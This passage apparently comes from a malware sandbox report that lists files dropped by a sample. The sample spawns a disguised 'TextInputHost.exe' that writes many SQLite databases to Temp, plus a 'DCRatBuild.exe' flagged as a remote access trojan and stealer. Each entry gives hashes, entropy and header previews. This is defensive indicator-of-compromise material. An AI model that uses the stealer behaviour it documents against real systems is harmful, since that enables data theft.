Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7GmoAwaJMs

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7IbuztXCKZ

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7LUAmwDHqu

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7R5qp63icc

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7Uuq0UzLI1

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8CEW3rRI0I

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8GnOAfe7Ef

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8ZcdYLkSIK

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8biI8npF1T

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8fJrSFx3vh

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8jBD71EMjE

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8xbgtSVSXe

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9LBbkkhLcX

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9NRZ6vKMg2

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A8NNHblfqm

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B815adAHSY

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BVFwnQ0oI2

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CBSjbAUSgd

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ChSPpybSaC

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CsShPPv91X

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DAzRkjVxBz

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Download File

Process:	C:\Users\user\Desktop\1tQ7HC6GOS.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3996370
Entropy (8bit):	7.77115408320911
Encrypted:	false
SSDEEP:	98304:yq6aGC/A2HqiWfsfYyNVl7GElhj4RCM8Ut:3ML2HqBsfRNVlyEYRCO
MD5:	CC2DB8C6905895E60C7E99B2A0D3BF24
SHA1:	B32F2F4F37AD9852307CF7FE7E2C6F7C00FEDB97
SHA-256:	0BD61BA4ED7600F6290A9D83974547A56E8EE60A0383456251200879C1860B49
SHA-512:	8448F4A745346D1A556077B5CA0EB0102F2C18EDDD4680F56C3A4BB52F8D0C0EACF2C6D1B7C901893547D3168C24A14EA15122478E2794E1C30AB05842CEEC7F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 64%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................P............@.........................p...4.......P....@....................... ..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc........@......................@..@.reloc..<#... ...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DLf0oqYFAX

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DgFRJNj8x8

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EJlJj57qll

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FtuG4cTaPb

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
